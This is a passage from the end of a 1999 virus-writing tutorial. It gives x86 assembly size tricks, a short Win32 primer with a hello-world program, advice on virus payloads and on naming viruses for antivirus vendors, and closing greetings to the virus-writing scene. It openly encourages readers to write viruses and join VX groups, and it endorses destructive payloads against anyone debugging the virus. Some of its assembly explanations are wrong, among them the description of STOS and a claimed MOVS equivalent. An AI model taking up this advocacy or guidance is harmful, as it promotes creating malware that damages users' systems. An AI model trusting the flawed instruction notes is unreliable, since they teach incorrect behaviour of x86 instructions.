>      ring a register with an immediate value:

>             cmp     ax,0666h                ; 3 bytes
>             xor     ax,0666h                ; 2 bytes

>      But, due the nature of XOR instruction, we can't use it for know if a reggie
>      is clear. But here comes OR to save us...

>             cmp     ax,0000h                ; 3 bytes
>             or      ax,ax                   ; 2 bytes

>      + Optimized reggie - AX:

>      You can use it for comparisons:

>             cmp     bx,0666h                ; 4 bytes
>             cmp     ax,0666h                ; 3 bytes

>      And you can move AX to another register in a very optimized way:

>             mov     bx,ax                   ; 2 bytes
>             xchg    ax,bx                   ; 1 byte

>      You can do this if da values of AX and BX before the change are unimportant.
>      This is really good for put after a file open, coz the file handle is better
>      in BX.

>      + String operands:

>      Each string operand ( MOVS, STOS, SCAS... ) is the optimized way for perform
>      some actions. Let's see for what purposes can you use it:

>      - MOVS: A movement from the position DS:[SI] to ES:[DI]

>             les     di,ds:[si]              ; 3 bytes

>             movsb                           ; If we want a byte ( 1 byte )
>             movsw                           ; If we want a word ( 1 byte )
>             movsd                           ; If we want a dword ( 2 bytes ) 386+

>      - LODS: Put in accumulator the value of the position DS:[SI]

>             mov     ax,ds:[si]              ; 2 bytes

>             lodsb                           ; If we want a byte ( 1 byte )
>             lodsw                           ; If we want a word ( 1 byte )
>             lodsd                           ; If we want a dword ( 2 bytes ) 386+

>      - STOS: Put in accumulator the value of the position ES:[DI]

>             les     di,al                   ; Can't do this!
>             les     di,ax                   ; Can't do this!

>             stosb                           ; If we want a byte ( 1 byte )
>             stosw                           ; If we want a word ( 1 byte )
>             stosd                           ; If we want a dword ( 2 bytes ) 386+

>      - CMPS: Compares the value in DS:[SI] with the value in ES:[DI]

>             cmp     ds:[si],es:[di]         ; Can't have 2 segment overrides!

>             cmpsb                           ; If we want a byte ( 1 byte )
>             cmpsw                           ; If we want a word ( 1 byte )
>             cmpsd                           ; If we want a dword ( 2 bytes ) 386+

>      - SCAS: Compares the value of accumulator with ES:[DI]

>             cmp     ax,es:[di]              ; 3 bytes

>             scasb                           ; If we want a byte ( 1 byte )
>             scasw                           ; If we want a word ( 1 byte )
>             scasd                           ; If we want a dword ( 2 bytes ) 386+

>      + 16 bit registers:

>      Ussually, it's  more optimized the usage  of 16 bit  register than the 8 bit
>      ones. Let's see an example with MOV instruction:

>             mov     ah,06h                  ; 2 bytes
>             mov     al,66h                  ; 2 bytes ( 4 bytes total )

>             mov     ax,0666h                ; 3 bytes

>      It's more optimized to increase/decrease any 16 bit register:

>             inc     al                      ; 2 bytes
>             inc     ax                      ; 1 byte

>             dec     al                      ; 2 bytes
>             dec     ax                      ; 1 byte

>      + Bases and segments:

>      The movement  from another segment  to another can't be done directly, so we
>      must to play some with it:

>             mov     es,ds                   ; Can't do this!

>             mov     ax,ds                   ; 2 bytes
>             mov     es,ax                   ; 2 bytes ( 4 bytes total )

>             push    ds                      ; 1 byte
>             pop     es                      ; 1 byte ( 2 bytes total )

>      Use DI/SI is more enhaced than the use of BP.

>             mov     ax,ds:[bp]              ; 4 bytes
>             mov     ax,ds:[si]              ; 3 bytes

>      + Procedures:

>      If you use a routine a lot of times, you must think about the possibility of
>      make a  procedure. This can  optimize your code. However, the bad use of the
>      procedures can  invert our needs: the  code will grow. So, if you wanna know
>      if the  conversion of a routine  to a procedure save bytes, you can use this
>      little formula:

>      X = [rout. size - (CALL size + RET size)] * number of calls - rout. size

>      The CALL  size + RET size  means 4 bytes. The X  will be the  bytes we save.
>      Let's see the tipical function that saves some bytes, the file pointer move-
>      ment:

>      fpend: mov     ax,4202h                ; 3 bytes
>      fpmov: xor     cx,cx                   ; 2 bytes
>             cwd                             ; 1 byte
>             int     21h                     ; 2 bytes
>             ret                             ; 1 byte

>      We  have 8 bytes plus CALL size... 11 bytes. Let's see if this will optimize
>      our code:

>      X = [ 7 - ( 3 + 1 ) ] * 3 - 7
>      X = 2 bytes saved

>      This is a  invented calculation, of  course. You  can call this routine more
>      than 3  times ( or less ), make  its size different,  and many  more things.

>      + Last tips for local optimization:

>      - Use SFT. In this structure you've a lot of useful information, and you can
>      manipulate it without any problem.

>      - Make  your compiler  pass trough  the code  at least 3 times for eliminate
>      all unnecessary NOPs and other shit.

>      - Use stack.

>      - It's more  optimized to  use the  LEA instruction that use the MOV offset.

>     ---| Appendix 1 : The new school |-------------------------------------------

>      Well, here i will make a little introduction to the whole new world that is
>      Windows 32-bit programming. An advice: change your mind :)

>      If you arrived to  this point i assume you are intelligent, and know to code
>      in 16 bit ASM very good. So, it's time for learn the basics of Windows envi-
>      roments, and code a little bit. But this part of the tute, as is an appendix
>      won't be very complete, so you will have to search da information in another
>      place :)

>      % Brief description of what's going on %
>      ----------------------------------------

>      Here we must erase almost all our knowledge of DOS if we want to be success,
>      because all  that is unnecessary  now. All the explained  before has no more
>      utility in Win32 ( well, there're some exceptions of course )... interrupts,
>      structures, COM  files, methods of residency  and  stealth, append  methods,
>      anti-debugging, anti-heuristic... the  only that remains of all that are the
>      concepts, the  code we  must  do is very different. Well, some people use to
>      misname Win95 viruses as Win32. No. Win32 means that da virus MUST be compa-
>      tible with all Win95, WinNT, Win3X+Win32s and Win98.

>      Well, we  have new  registers, new segments,  new structures... and a lot of
>      new  things for  research. Ain't  as  difficult  as it appears to be... just
>      think that it's  the moment that you have waiting for: there're a lot of un-
>      explored techniques, so you can became easily in a pioneer :)

>      Forget all that 16bit segments, 16bit offsets, 16bit registers... Now we ha-
>      ve something more funny: all  these things ( and much more ), but in a 32bit
>      version.

>      % Changes between 16 and 32 bit programming %
>      ---------------------------------------------

>      We will  work ussually with double words  instead words, and this thing open
>      us a new world  of possibilities. We have  two more  segments to  add to the
>      already known CS, DS, ES and SS: FS and GS. And we have new 32 bit registers
>      as EAX, EBX, ECX, EDX, ESI, EDI, EBP and ESP. Let's see how to play with the
>      reggies: Imagine we have to access to the less significant word of EAX. What
>      can we do? This part can be accessed by  using AX register, that handles its
>      LSW. Imagine  that EAX = 00000000, and we want  to put a 1234h in the LSW of
>      this. We must simply do a "mov ax,1234h" and  all the work is done. But what
>      if we wanna access to da MSW ( Most Significant Word ) of EAX. For this pur-
>      poses  we can't use a reg: we must play using ROL ( or SHL if LSW is shit ).
>      But... for what the fuck you need that? Use EAX goddamit! :P

>      % Rings : brief introduction %
>      ------------------------------

>      There  are  4 different  rings: Ring-0, Ring-1, Ring-2 and Ring-3. The Win9X
>      uses two of them: Ring-0 and Ring-3.

>      - Ring-0, the  sweet dream of the virus writer under Win9X enviroments. It's
>      the highest privilege under Win9X, we can access ports, etc., because we are
>      avoiding all kind of things that could stop us. It's the  highest level, and
>      btw, is the same level at the kernel works. There are no restrictions.

>      - Ring-3, the usual  shit  of Win32  enviroments. We  can only use the APIs.
>      This is the privilege where all the "normal" applications run. We have a lot
>      of limitations here. We must be careful with that goddamn General Protection
>      Faults when coding at this level.

>      % The base for Ring-3 coding : The API %
>      ----------------------------------------

>      API can be considered as the thing that substitutes in Windows enviroment da
>      interrupts. In the "normal" applications  developing we have  them  with any
>      kind of problem. But the thing  changes  in  virus developing, as we need to
>      search for them. But this is another story that will be told another time in
>      another place :P Well, the parameters when we use APIs must be in the stack,
>      so we must push'em. Let's see an example:

>                     push    00000000h
>                     call    ExitProcess

>      The API  ExitProcess is the  equivalent in  Windows to the famous INT 20h in
>      DOS. The value we push is the exit code. Let's see:

>      VOID ExitProcess(
>       UINT uExitCode        // exit code for all threads
>      );

>      Another  example of API could be  MessageBox(A/W). Yeah, shows  that goddamn
>      msgbox.

>      int MessageBox(
>       HWND hWnd,            // handle of owner window
>       LPCTSTR lpText,       // address of text in message box
>       LPCTSTR lpCaption,    // address of title of message box
>       UINT uType            // style of message box
>      );

>      Well, let's see more examples.

>      % Interesting APIs %
>      --------------------

>      All the information here is taken  from the awesome Win32 programmer's refe-
>      rence, maybe  the most kickass aid you  can get  when working  under Windoze
>      enviroments. I'll only place here four  of them, the most used nowadays, but
>      i really recommend you  to download it: there're  a lot of interesting APIs,
>      and  if i  put  here  all i  think important, this  tute  will be 10 megs :)

>      + GetProcAddress

>      The  GetProcAddress function returns  the address  of the specified exported
>      dynamic-link library (DLL) function.

>      FARPROC GetProcAddress(
>       HMODULE hModule,    // handle to DLL module
>       LPCSTR lpProcName   // name of function
>      );

>      - Parameters

>      . hModule

>      Identifies  the DLL module  that contains  the function. The  LoadLibrary or
>      GetModuleHandle function returns this handle.

>      . lpProcName

>      Points to a null-terminated string containing da function name, or specifies
>      the function's ordinal value. If this parameter is an ordinal value, it must
>      be in the low-order word; the high-order word must be zero.

>      . Return Values

>      A. If the  function succeeds, the return  value is the  address of the DLL's
>      exported function.

>      B. If the  function fails, the  return value  is NULL. To get extended error
>      information, call GetLastError.

>      Well, probably the most interesting API of all :P

>      + GetModuleHandle(A/W)

>      The GetModuleHandle function returns a module handle for da specified module
>      if the  file has been  mapped into the address space of the calling process.

>      HMODULE GetModuleHandle(
>       LPCTSTR lpModuleName       // address of module name to return handle for
>      );

>      - Parameters

>      . lpModuleName

>      Points to a null-terminated string that  names a Win32 module (either a .DLL
>      or .EXE file). If the  filename  extension is  omitted, the  default library
>      extension .DLL is appended. The filename string can include a trailing point
>      character (.) to indicate  that the module name has no extension. The string
>      does not have  to specify  a path. The name is compared (case independently)
>      to the names  of modules  currently mapped  into  the  address  space of the
>      calling process.

>      If this parameter is NULL, GetModuleHandle returns a handle of the file used
>      to create the calling process.

>      . Return Values

>      A. If the function  succeeds, the return  value is a handle to the specified
>      module.

>      B. If the  function fails, the  return value is NULL. To get  extended error
>      information, call GetLastError.

>      + FindFirst(A/W)

>      Da FindFirstFile function searches a directory for a file whose name matches
>      the specified filename. FindFirstFile examines subdirectory names as well as
>      filenames.

>      HANDLE FindFirstFile(
>       LPCTSTR lpFileName,        // pointer to name of file to search for
>       LPWIN32_FIND_DATA lpFindFileData    // pointer to returned information
>      );

>      - Parameters

>      . lpFileName

>      A. Windows 95: Points  to a null-terminated  string that  specifies  a valid
>      directory  or path and filename, which  can contain  wildcard characters ( *
>      and ? ). This string must not exceed MAX_PATH characters.

>      B. Windows NT: Points  to a null-terminated  string that  specifies  a valid
>      directory or  path and  filename, which can  contain  wildcard characters (*
>      and ?).

>      There is  a default string size limit for paths of MAX_PATH characters. This
>      limit  is  related  to  how  the  FindFirstFile  function  parses  paths. An
>      application  can transcend this limit and send in paths longer than MAX_PATH
>      characters by calling  the wide (W) version  of FindFirstFile and prepending
>      "\\?\" to  the path. The "\\?\" tells the function to turn off path parsing;
>      it lets paths longer  than MAX_PATH be  used  with FindFirstFileW. This also
>      works with UNC names. The "\\?\" is ignored as part of the path. For example
>      "\\?\C:\myworld\private" is seen as "C:\myworld\private", and "
>      \\?\UNC\bill_g_1\hotstuff\coolapps"is seen as "\\bill_g_1\hotstuff\coolapps"

>      . lpFindFileData

>      Points to  the WIN32_FIND_DATA structure that receives information about the
>      found file or subdirectory. The structure can be used in subsequent calls to
>      the FindNextFile or FindClose function to refer to the file or subdirectory.

>      . Return Values

>      A. If the  function succeeds,  the return value is a search handle used in a
>      subsequent call to FindNextFile or FindClose.

>      B. If the  function fails, the  return value is INVALID_HANDLE_VALUE. To get
>      extended error information, call GetLastError.

>      + FindNext(A/W)

>      The FindNextFile function continues a file search from a previous call to da
>      FindFirstFile function.

>      BOOL FindNextFile(
>       HANDLE hFindFile,   // handle to search
>       LPWIN32_FIND_DATA lpFindFileData    // pointer to structure for data on
>                                           // found file
>      );

>      - Parameters

>      . hFindFile

>      Identifies a search handle  returned by a previous call to the FindFirstFile
>      function.

>      . lpFindFileData

>      Points to the WIN32_FIND_DATA structure  that receives information about the
>      found file or subdirectory. The structure can be used in subsequent calls to
>      FindNextFile to refer to the found file or directory.

>      . Return Values

>      A. If the function succeeds, the return value is nonzero.

>      B. If the function  fails, the return  value  is zero. To get extended error
>      information, call GetLastError

>      C. If  no matching files  can  be found, the  GetLastError function  returns
>      ERROR_NO_MORE_FILES.

>      [** WIN32_FIND_DATA **]

>      typedef struct _WIN32_FIND_DATA { // wfd
>       DWORD dwFileAttributes;
>       FILETIME ftCreationTime;
>       FILETIME ftLastAccessTime;
>       FILETIME ftLastWriteTime;
>       DWORD    nFileSizeHigh;
>       DWORD    nFileSizeLow;
>       DWORD    dwReserved0;
>       DWORD    dwReserved1;
>       TCHAR    cFileName[ MAX_PATH ];
>       TCHAR    cAlternateFileName[ 14 ];
>      } WIN32_FIND_DATA;

>      - Members

>      . dwFileAttributes

>      Specifies the  file attributes  of the file found. This member can be one or
>      more of  the following  values [ Not enough space for include them here: you
>      have them at 29A INC files ( 29A#2 ) and the document said before.

>      . ftCreationTime

>      Specifies a FILETIME  structure containing  the  time  the file was created.
>      FindFirstFile and  FindNextFile report  file  times in Coordinated Universal
>      Time (UTC) format.  These functions  set the FILETIME members to zero if the
>      file  system containing  the file does not support this time member. You can
>      use the FileTimeToLocalFileTime  function to convert from UTC to local time,
>      and then use  the FileTimeToSystemTime function to convert the local time to
>      a SYSTEMTIME structure  containing individual  members  for  the month, day,
>      year, weekday, hour, minute, second, and millisecond.

>      . ftLastAccessTime

>      Specifies  a FILETIME structure  containing  the time that the file was last
>      accessed. The time is  in UTC format; the FILETIME  members  are zero if the
>      file system does not support this time member.

>      . ftLastWriteTime

>      Specifies a  FILETIME structure  containing  the time that the file was last
>      written to. The time is  in UTC format; the FILETIME members are zero if the
>      file system does not support this time member.

>      . nFileSizeHigh

>      Specifies the  high-order DWORD value of the file size, in bytes. This value
>      is zero unless the file size  is greater than MAXDWORD. The size of the file
>      is equal to (nFileSizeHigh * MAXDWORD) + nFileSizeLow.

>      . nFileSizeLow

>      Specifies the low-order DWORD value of the file size, in bytes.

>      . dwReserved0

>      Reserved for future use.

>      . dwReserved1

>      Reserved for future use.

>      . cFileName

>      A null-terminated string that is the name of the file.

>      . cAlternateFileName

>      A null-terminated string that is an alternative name for the file. This name
>      is in the classic 8.3 (filename.ext) filename format.

>      Another interesting apis could be GetFileAttributes(A/W), SetFileAttributes
>      (A/W), CreateProcess, CreateFile(A/W), VirtualAlloc, CreateFileMapping(A/W),
>      SetEnfOfFile, etc.

>      ---

>      Well, there're a lot  of times equivalences between the functions we used in
>      DOS and an API. Search for them ;)

>      Let's continue  with the typical example  we always try to do when we have a
>      new language: the "Hello world!" :)

>      % Hello World in Win32 %
>      ------------------------

>      It's very  easy. We must use the "MessageBoxA" API, so we define it with the
>      already  known "extrn" command,  and then  push the parameters  and call the
>      said API. Note  that  the strings must  be ASCIIZ ( ASCII,0 ). Remember that
>      the parameters must be pushed.

>      .386                                           ; Processor ( must be
>      .model         flat                            ; Uses 32 bit registers

>      extrn          ExitProcess:proc                ; The APIs it uses
>      extrn          MessageBoxA:proc

>      .data
>      szMessage       db      "Hello World!",0
>      szTitle         db      "Windows coding - lame example",0

>      .code                                          ; Here we go!

>      HelloWorld:
>                     push    large 0
>                     push    offset szTitle
>                     push    offset szMessage
>                     push    large 0
>                     call    MessageBoxA

>                     push    large 0
>                     call    ExitProcess

>      end HelloWorld

>      As  you can see, it's very simple to code. Maybe not  as easy as the same in
>      16 bit enviroments, but really  simple if you think about all the advantages
>      that the 32 bits  brings to us. Well, as this is  a Virus Writing  Guide for
>      people that  is starting  in virus coding, i think it's time to stop. If you
>      want to know more about this matter, you will  have to wait for the tutorial
>      i am developing now: Virus Writing Guide 1.00 for Win32. Sounds cool huh? :)

>     ---| Appendix 2 : Payloads |-------------------------------------------------

>      You must work in your payload, because it'll be the only thing that the user
>      will see of your virus. A payload that only trash da HD, or wipe files isn't
>      original, and it denotes  that the user can't do better things. If you wanna
>      destroy, your  work isn't in  the virus  scene: the trojans are very easy to
>      code so dedicate your efforts to the trojan developement <g>

>      I'm not saying that i refuse all kinds of destruction. But it must be reser-
>      ved for special moments, like  if someone is  trying do  debug the  virus or
>      something. I think  that isn't good to make other people the things we don't
>      want happen to us.

>      You  have  good  examples  of  originality  in viruses like Elvira, Cascade,
>      Claudia Schiffer ( hehehe ;), Ambulance...

>     ---| Appendix 3 : Naming your viruses |--------------------------------------

>      Well, we  know  how to  make viruses :) But, what about naming them?. I read
>      some time ago  a very  interesting article, done  by Rajaat, when  he was in
>      IR/G, and  published in IR#8. That article  was very cool, because it showed
>      the way for make the AV to call your virus as you want it to be called. Well
>      as i don't want to  put here the whole  article, and as i gave credit to its
>      original author, i think  it's okay to make a brief description of the basic
>      ideas that Rajaat gave us.

>      - Show in the payload the name of the virus only, not the author's name.

>      - Don't use very complex names

>      - Don't use ppl's names

>      - Don't show in  the messages inside  the virus special interest in call the
>      virus in a determinated way (Ex: Bizatch per Boza...)

>     ---| Last words |------------------------------------------------------------

>      You can think  that write this  document was a  pain for me. No, i've really
>      enjoyed the time i've used to write this little tutorial. I hope you enjoyed
>      its read :)

>      My objective  was to  make a complete tutorial, beginning at the runtime com
>      infection, and  talking about  some  cool techniques  like polymorphism  and
>      tunneling. I made this with the objective of teach  some people, and, at the
>      same time teach myself  about a lot of things. Now, it's your time, not mine
>      Remember  where did  you learn :) And now, after reading, understanding, and
>      experimenting, you're  ready to  make very  good  viruses, and, if you want,
>      write articles for a virus related magazine, or to be in a VX group :)

>      After saying goodbye, i must send greets to some people, da ones that helped
>      me  and the ones  i admire. As I  said in my  presentation, this tutorial is
>      highly dedicated to zAxOn ( hehehe... i wrote your nick in da rite way ;) da
>      one that received all my telephone calls for questions like " How i can copy
>      a file? ", or " What  is this program... the PKZIP? " in my earlier steps in
>      the computing world. He listened with a good attitude all my projects,dreams
>      and else. It's good to have friends like him :)

>      This  document is also  dedicated  to this  people that make big efforts for
>      teach the people that is interested in VX, with dreams of fame <g> and else.
>      It's a way for assure the future of the virus scene... VX FOREVER!

>      Of course, i must make a special mention to Dark Angel, Dark Avenger, GriYo,
>      b0z0, Owl,  StarZer0,  Neurobasher,  Vecna, Qark,  Quantum,  Int13h, Murkry,
>      Jacky Qwerty, Darkman, Super, and all da people who rocked and still rocking
>      the world making this little misunderstood  forms of life, automatas, always
>      labeled as bad things. You know what ignorance does.

>      PS: This tutorial is my humble tribute to that OS, that lived between all us
>      since some centuries ago, called MS-DOS. RIP.

>      Valencia, 29 of January, 1999.

>      Billy Belcebu,
>      mass killer and ass kicker.